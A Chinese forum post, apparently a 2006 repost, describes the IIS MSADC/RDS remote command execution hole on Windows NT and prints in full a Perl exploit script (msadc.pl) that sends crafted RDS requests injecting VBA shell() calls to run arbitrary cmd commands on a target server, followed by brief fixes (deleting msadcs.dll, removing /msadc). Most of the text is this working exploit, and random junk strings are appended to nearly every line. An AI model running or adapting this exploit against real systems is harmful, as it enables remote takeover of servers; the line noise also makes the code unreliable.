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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) (:}}p}u  
6ywO L'OBM  
涉及程序: mdcsL~R  
Microsoft NT server J{n A ?[  
(/!zHq  
描述: !d95gq<=>  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \|Y_,fi  
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详细: g5*?2D}dqX  
如果你没有时间读详细内容的话,就删除: /?}2OCq  
c:\Program Files\Common Files\System\Msadc\msadcs.dll /9?yw!  
有关的安全问题就没有了。 i\o * =+{r  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 1_M}Dc+J  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 iY5V4Gbo  
关于利用ODBC远程漏洞的描述,请参看: !3z ;u8W  
1buO&q!vn  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _93:_L  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 In;+wFu;M  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZCNO_g  
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这里不再论述。 !y$+RA7\  
"2PT]!  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: hsYv=Tw3C  
JX#0<U|L  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset .(yJ+NU  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! bfK4ps}m*  
.k|\xR  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" VWqZ`X  
J58S8:c  
#!perl ^RYq !l$  
# | S'mF6Y  
# MSADC/RDS 'usage' (aka exploit) script qtFHA+bO  
# ?R4%z2rcW  
# by rain.forest.puppy 6<f(Zv? I  
# WzBr1 ea{I  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me dKa2_|k'  
# beta test and find errors! V$dhiP z  
}?sC1]-j&  
use Socket; use Getopt::Std;  EIPXq  
getopts("e:vd:h:XR", \%args); y43ha  
v <OZ # L$  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; a`LkP%  
D?4bp'0 3  
if (!defined $args{h} && !defined $args{R}) { 4EaxU !BT  
print qq~ ieXi6^M$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 8uA!Vrp3  
-h <host> = host you want to scan (ip or domain) Jw{ duM;]  
-d <seconds> = delay between calls, default 1 second %pf9Yd0t  
-X = dump Index Server path table, if available  Af`Tr6)  
-v = verbose gq="&  
-e = external dictionary file for step 5 o1uM(  
6.6?Rp".  
Or a -R will resume a command session eK}GBBdO  
"w__AYHV  
~; exit;} K'f2 S  
wNmC1HOh  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; T>J ,kh  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} #G=AD/z  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} amWKykVS5  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); > iYdr/^a  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {$ v^2K'C  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } )g KC}_h=  
)RQQhB  
if (!defined $args{R}){ $ret = &has_msadc; pX1Us+%  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ]kF1~kXBe  
+ f:!9)C  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" QXgfjo  
. "cmd /c "; u^W!$OfZpp  
$in=<STDIN>; chomp $in; ^sqzlF  
$command="cmd /c " . $in ; > }kZXeR|  
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if (defined $args{R}) {&load; exit;} Sf@xP.d  
q4,/RZhzh  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; dXsD%sG @  
&try_btcustmr; M4% 3a j  
(^E5y,H<g  
print "\nStep 2: Trying to make our own DSN..."; G#A6<e/  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ;^|):x+O  
6{yn;D4  
print "\nStep 3: Trying known DSNs..."; _'*(-K5&  
&known_dsn; h.NCG96S  
po.QM/b \  
print "\nStep 4: Trying known .mdbs..."; Hx!eCTO:*  
&known_mdb; 7U2B=]<e-  
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if (defined $args{e}){ !T 9CpIM%  
print "\nStep 5: Trying dictionary of DSN names..."; 8~ &=vc  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } :[0)Uu{  
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print "Sorry Charley...maybe next time?\n"; 1qBE|PwBp  
exit; =YD<q:n4  
ukRmjHbLf  
############################################################################## $aN%[  
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sub sendraw { # ripped and modded from whisker  QS1lg  
sleep($delay); # it's a DoS on the server! At least on mine... ($W%&(:/  
my ($pstr)=@_; zS h9`F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *zW]IQ'A  
die("Socket problems\n"); |$~]|SK  
if(connect(S,pack "SnA4x8",2,80,$target)){ v5U'ky :  
select(S); $|=1; Oqq' r"S  
print $pstr; my @in=<S>; {L [   
select(STDOUT); close(S); {JF"PAS7  
return @in; 'yV*eG?^&  
} else { die("Can't connect...\n"); }} ]q4(%Q  
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############################################################################## +;M 5Sp  
0)ZLdF_6  
sub make_header { # make the HTTP request m9+?>/R  
my $msadc=<<EOT sf:IA%.4t  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 emB<{kOkw  
User-Agent: ACTIVEDATA kE|x'(x  
Host: $ip T8Q_JQ  
Content-Length: $clen Hi*|f!,H?  
Connection: Keep-Alive '?g&);4)k-  
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ADCClientVersion:01.06 Wh~,?}laj  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 5)5yH bS  
8si{|*;hL  
--!ADM!ROX!YOUR!WORLD! -Q&@P3x  
Content-Type: application/x-varg S4-jFD)U  
Content-Length: $reqlen t)rPXvx}!  
:R>RCR2g)  
EOT k 8%@PC$  
; $msadc=~s/\n/\r\n/g; xEeHQ7J  
return $msadc;} 7AWq3i{  
b#R$P]dr=  
############################################################################## (h g6<`  
#,1z=/d.  
sub make_req { # make the RDS request lNl.lI\t)y  
my ($switch, $p1, $p2)=@_; axq~56"7E  
my $req=""; my $t1, $t2, $query, $dsn; MUGoW;}v )  
k GYsjhL\d  
if ($switch==1){ # this is the btcustmr.mdb query lnm@DWhf  
$query="Select * from Customers where City=" . make_shell(); ~*<`PDO?  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 9Oo`4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} GlRjbNW?Q  
>yHtGIHe-  
elsif ($switch==2){ # this is general make table query 5SmJ'zFO  
$query="create table AZZ (B int, C varchar(10))"; *ZFF$0}  
$dsn="$p1";} iHK.hs;  
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elsif ($switch==3){ # this is general exploit table query }pnp._j  
$query="select * from AZZ where C=" . make_shell(); z( }w|  
$dsn="$p1";} -;FAS3(wy  
<5P*uZ  
elsif ($switch==4){ # attempt to hork file info from index server 5h0Hk<N  
$query="select path from scope()"; 5X>~39(r  
$dsn="Provider=MSIDXS;";} \NEk B&^n  
l&:8 'k+%=  
elsif ($switch==5){ # bad query c_?^:xs:d  
$query="select"; @+Sr~:K  
$dsn="$p1";} UUb0[oy  
|5X59! JL  
$t1= make_unicode($query); c 3o3i  
$t2= make_unicode($dsn); z;Fz3s7  
$req = "\x02\x00\x03\x00"; AE~@F4MK  
$req.= "\x08\x00" . pack ("S1", length($t1)); dqo-.,=  
$req.= "\x00\x00" . $t1 ; 1~3dX[&  
$req.= "\x08\x00" . pack ("S1", length($t2)); :Ea|FAeK8  
$req.= "\x00\x00" . $t2 ; ;Bj&9DZd  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; `'k2gq&  
return $req;}  N&kUTSd  
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############################################################################## z8]@Gh+ (  
cAot+N+9|]  
sub make_shell { # this makes the shell() statement 0a#v}w^ *  
return "'|shell(\"$command\")|'";} 5?? }9  
ZbjUOlE02  
############################################################################## s S#/JLDx]  
3}&3{kt  
sub make_unicode { # quick little function to convert to unicode /!A"[Tyt  
my ($in)=@_; my $out; 4[MTEBx  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } kv,!"<  
return $out;} hvNK"^\p  
(2M00J-o  
############################################################################## /c 7z[|  
}#%Y eCA?  
sub rdo_success { # checks for RDO return success (this is kludge) -!O8V  
my (@in) = @_; my $base=content_start(@in); z,7;+6*=L  
if($in[$base]=~/multipart\/mixed/){ ccPWfy_  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} jm@M"b'{  
return 0;} aR('u:@jHi  
-)3+/4Q(  
############################################################################## zUZET'Bm9  
5>daWmD  
sub make_dsn { # this makes a DSN for us T!>hPg  
my @drives=("c","d","e","f"); Dj'?12Onu=  
print "\nMaking DSN: "; A9u>bWIE7  
foreach $drive (@drives) { m)"(S  
print "$drive: "; O! XSU,  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . W*#5Sk  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -C}"1|P!  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); \[.qN  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 5|N`:h'9M  
return 0 if $2 eq "404"; # not found/doesn't exist QV:> x#=V  
if($2 eq "200") { <eS/-W %n6  
foreach $line (@results) { wVnmT94  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} T]tu#h{ a  
} return 0;} w?^[*_Y  
(w5cp!qW9J  
############################################################################## %N&W_.F6  
?wCX:? g  
sub verify_exists { <)T~_s  
my ($page)=@_; _@[W[= |H  
my @results=sendraw("GET $page HTTP/1.0\n\n"); b7I0R; Zj  
return $results[0];} J5HK1  
!6RDq`  
############################################################################## hfyU}`]  
!K}W.yv,  
sub try_btcustmr { QRBx}!:NZ#  
my @drives=("c","d","e","f"); vt *  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~ss6yQ$  
US"g>WLwJ  
foreach $dir (@dirs) { OY:rcGc`t  
print "$dir -> "; # fun status so you can see progress BG?>)]6  
foreach $drive (@drives) { K<`Z@f3'w  
print "$drive: "; # ditto q oi21mCn  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; X9]} UX  
$reqlenlen=length( "$reqlen" ); t&q~ya/C  
$clen= 206 + $reqlenlen + $reqlen; hhZ%{lqL  
1E&S{.  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); $,U/,XA {E  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \y(3b#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} q{f\_2[  
r~ f;g9I  
############################################################################## z |~+0  
,(K-;Id4  
sub odbc_error { QSa#}vCp*  
my (@in)=@_; my $base; =mZYBm,IQ  
my $base = content_start(@in); _8 0L/92  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this x< 2]UB`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; DgW@v[#BK=  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; SE^l`.U@  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ([>__c/Nd  
return $in[$base+4].$in[$base+5].$in[$base+6];} uyB2   
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 1v`|mU}i,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . v G\J8s  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 5=|h~/.k  
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############################################################################## A-=hvJ5T  
Xnjl {`  
sub verbose { C5I7\9F)  
my ($in)=@_; iO?^y(phC  
return if !$verbose;  'F.P93  
print STDOUT "\n$in\n";} W4d32+V  
`VO;\s$5j  
############################################################################## n9={D  
q@[F|EF=  
sub save { ?z l<"u  
my ($p1, $p2, $p3, $p4)=@_; -wV2 79^b  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ov,s]g83  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; hB.8\-}QMq  
close OUT;} #\m.3!Hcr  
@!! u>1  
############################################################################## 2672oFD  
n~|?)EL  
sub load { 2 A!*8w  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; H8 ? Y{H  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); xp95KxHHo  
@p=<IN>; close(IN); .Hqq!&  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 5= &2=  
$target= inet_aton($ip) || die("inet_aton problems"); Y8v[kuo7  
print "Resuming to $ip ..."; xlwf @XW  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; T:{r*zLSN  
if($p[1]==1) { F9K0  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; (P-^ PNz&  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 'hBnV xd&  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); tR'RB@kJ  
if (rdo_success(@results)){print "Success!\n";} M`'DD-Q  
else { print "failed\n"; verbose(odbc_error(@results));}} a<r,LE  
elsif ($p[1]==3){ ez[x8M>  
if(run_query("$p[3]")){ a_5s'Dh  
print "Success!\n";} else { print "failed\n"; }} {O y|c  
elsif ($p[1]==4){ t7x<=rW7u  
if(run_query($drvst . "$p[3]")){ a}FyJp  
print "Success!\n"; } else { print "failed\n"; }} 6#CswSpS  
exit;} J.4U;A5  
]9/A=p?J@  
############################################################################## }l$zZ>.\H  
r.#r!.6 q  
sub create_table { [y'blCb  
my ($in)=@_; N'EZJ oH  
$reqlen=length( make_req(2,$in,"") ) - 28; q/I( e  
$reqlenlen=length( "$reqlen" ); ;2`6eyr  
$clen= 206 + $reqlenlen + $reqlen; dB4ifeT]  
my @results=sendraw(make_header() . make_req(2,$in,"")); -A w]b} #v  
return 1 if rdo_success(@results); mL`8COA  
my $temp= odbc_error(@results); verbose($temp); ,IboPh&Q78  
return 1 if $temp=~/Table 'AZZ' already exists/; "ufSHrZv  
return 0;} Z@Q*An  
6X h7Bx1  
############################################################################## v(.mM9>  
OH2IO  
sub known_dsn { BX[ IWP\%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Q2m[XcnX  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", q%kCTw  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",  eu$VKLY*  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 9 CZ@IFS  
_^GBfM.  
foreach $dSn (@dsns) { h0 92S|iY  
print "."; |U{~t<BF#  
next if (!is_access("DSN=$dSn")); +CBN[/Z^i  
if(create_table("DSN=$dSn")){ d>)=|  
print "$dSn successful\n"; ZXYyG`3+  
if(run_query("DSN=$dSn")){ |f$+|9Q?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { a}NB6E)-  
print "Something's borked. Use verbose next time\n";}}} print "\n";} IL.bwt pQD  
# 2^H{7  
############################################################################## ,ESli/6  
f]%S FQ+  
sub is_access { G2I%^.s  
my ($in)=@_; 3R%JmLM+R9  
$reqlen=length( make_req(5,$in,"") ) - 28; `0]N#G T  
$reqlenlen=length( "$reqlen" ); GZrN,M  
$clen= 206 + $reqlenlen + $reqlen; ' abEY  
my @results=sendraw(make_header() . make_req(5,$in,"")); }?mSMqnB  
my $temp= odbc_error(@results); .cs x"JC  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); @PNgqjd  
return 0;} 4_QfM}Fyp  
t.;._'  
############################################################################## #btf|\D  
9;7"S.7AV  
sub run_query { #*CMf.OCh  
my ($in)=@_; ^ei[1 #  
$reqlen=length( make_req(3,$in,"") ) - 28; +\_\53  
$reqlenlen=length( "$reqlen" ); BE@(| U  
$clen= 206 + $reqlenlen + $reqlen; "QXnE^  
my @results=sendraw(make_header() . make_req(3,$in,"")); kK4 a;j.#  
return 1 if rdo_success(@results); -avxH?;?7  
my $temp= odbc_error(@results); verbose($temp); >e6OlIW  
return 0;} Iga +8k  
Y2l;NSWU  
############################################################################## aIa<,  
'1 2*'Q+{+  
sub known_mdb { =L#&`s@)_  
my @drives=("c","d","e","f","g"); tP! %(+V  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5Q8 H8!^  
my $dir, $drive, $mdb; KM[0aXOtv  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; d38o*+JCf  
AH'c:w]~  
# this is sparse, because I don't know of many !zOj`lx  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Xv!Gg6v6  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", &K'*67h  
"\\system32\\certmdb.mdb", M("sekL  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% w#A\(z%;x  
<CO_JWD  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", l59\Lo:  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Psx"[2iZm  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", NCi~. I  
"\\cfusion\\cfapps\\security\\realm_.mdb", >&+V[srfD  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", JGvhw,g  
"\\cfusion\\database\\cfexamples.mdb", 3;Yd"  
"\\cfusion\\database\\cfsnippets.mdb", BSHS)_xs  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", #p*uk  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", L)U*dY   
"\\cfusion\\brighttiger\\database\\cleam.mdb", FvVC 2Z  
"\\cfusion\\database\\smpolicy.mdb", =Y|( }92  
"\\cfusion\\database\cypress.mdb", Q+Q"JU  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", dYD;Z<l  
"\\website\\cgi-win\\dbsample.mdb", Ve"(}z  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", @hA`f4^  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" B$2GEg]Ri  
); #these are just $-UVN0=  
foreach $drive (@drives) { .E^w, o  
foreach $dir (@dirs){ %(&ja_oO  
foreach $mdb (@sysmdbs) { 8~Zw"  
print "."; %JSRC<,a  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ O(%6/r`L,k  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; +i!HMyM  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Gu$J;bXVj  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; e6_8f*o|s  
} else { print "Something's borked. Use verbose next time\n"; }}}}} pEcYfj3M  
2C:u)}R7D  
foreach $drive (@drives) { 7:LEf"vRZ  
foreach $mdb (@mdbs) { xP>cQELot  
print "."; GNM>hQ)h:  
if(create_table($drv . $drive . $dir . $mdb)){ w]qM  
print "\n" . $drive . $dir . $mdb . " successful\n"; .>TG{>sH  
if(run_query($drv . $drive . $dir . $mdb)){ Ua|iAD 1  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; :X}SuM ?c  
} else { print "Something's borked. Use verbose next time\n"; }}}} S{l)hwlE  
} Q.Nw#r+m  
'/UT0{2;rS  
############################################################################## UVl B=  
,h1\PT9ULY  
sub hork_idx { cA 4?[F  
print "\nAttempting to dump Index Server tables...\n"; *j&\5|^V  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ?F]P=S:x  
$reqlen=length( make_req(4,"","") ) - 28; X(x,6cC  
$reqlenlen=length( "$reqlen" ); @ntwdv;  
$clen= 206 + $reqlenlen + $reqlen; rz&V.,s  
my @results=sendraw2(make_header() . make_req(4,"","")); iB W:t  
if (rdo_success(@results)){ XZk%5t|t  
my $max=@results; my $c; my %d; "Ua-7Q&A  
for($c=19; $c<$max; $c++){ iT{4-j7|P4  
$results[$c]=~s/\x00//g; `. JW_F)1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; j~\FDcG*ed  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; H?;+C/-K`_  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; dpS@:  
$d{"$1$2"}="";} >H;m[  
foreach $c (keys %d){ print "$c\n"; } tx[;& ;  
} else {print "Index server doesn't seem to be installed.\n"; }} _I;hM  
Eu&$Rq}  
############################################################################## ) q'D9x9  
'+$r7?dKP  
sub dsn_dict { 9c}C<s`M  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); E<-W & a}  
while(<IN>){ zP0<4E$M`  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; k]:`<`/I_  
next if (!is_access("DSN=$dSn")); ".|8(Y  
if(create_table("DSN=$dSn")){ a"xRc  
print "$dSn successful\n"; 3,G|oR{D  
if(run_query("DSN=$dSn")){ yw+]S  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7Z:HwZ  
print "Something's borked. Use verbose next time\n";}}} ~b#<HG\,,  
print "\n"; close(IN);} t*Ro2QZ  
f2gh|p`  
############################################################################## -a_qZ7  
}*9F`=%F  
sub sendraw2 { # ripped and modded from whisker PtUS7[]  
sleep($delay); # it's a DoS on the server! At least on mine... a'Cny((  
my ($pstr)=@_; t1iz5%`p}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || N)H+N g[  
die("Socket problems\n"); DI;LhS*z  
if(connect(S,pack "SnA4x8",2,80,$target)){ g&p(XuN  
print "Connected. Getting data"; $~:ZzZO  
open(OUT,">raw.out"); my @in; ~DxuLk6 s  
select(S); $|=1; print $pstr; sx+k V A  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ) C~#W  
close(OUT); select(STDOUT); close(S); return @in; u y"i3xD6-  
} else { die("Can't connect...\n"); }} Y{e,I-"{  
& ;5f/  
############################################################################## e^~dx}X  
9.dZA9l@g  
sub content_start { # this will take in the server headers a>4q"IT6  
my (@in)=@_; my $c; ,V]FAIJ  
for ($c=1;$c<500;$c++) { z"7?I$N Q  
if($in[$c] =~/^\x0d\x0a/){ T;Kv<G;  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } J_&cI%.  
else { return $c+1; }}} 7ZAxhFC  
return -1;} # it should never get here actually YG*<jKcX  
>#r0k|3J^J  
############################################################################## {-7ovH?  
_G-6G=q  
sub funky { VWdTnu  
my (@in)=@_; my $error=odbc_error(@in); Tg@G-6u0c  
if($error=~/ADO could not find the specified provider/){ .Gr"| uII  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3nhQ^zqf  
exit;} . &}x[~g  
if($error=~/A Handler is required/){ ;6 d-+(@  
print "\nServer has custom handler filters (they most likely are patched)\n"; )N^fSenFBn  
exit;} c{D<+XM  
if($error=~/specified Handler has denied Access/){ ]S?G]/k}  
print "\nServer has custom handler filters (they most likely are patched)\n"; F3!6}u\F  
exit;}} &-NGVPk81`  
ZI$P Qz2i  
############################################################################## X0ugnQ6  
qrOesSdc  
sub has_msadc { j3w~2q"r  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ~IO'"h'w  
my $base=content_start(@results); U%1M?vT/  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); $ta"Ug.z  
return 0;} h-Ks:pcR  
1n2Pr'|s  
######################## b?Q$UMAbH  
w(+ L&IBC  
?en-_'}~a  
解决方案: fOSJdX0e|Q  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll mBrZ{hqS  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 P%[ { 'u  
H_Hr=_8}-  
拿出来充数 哈哈
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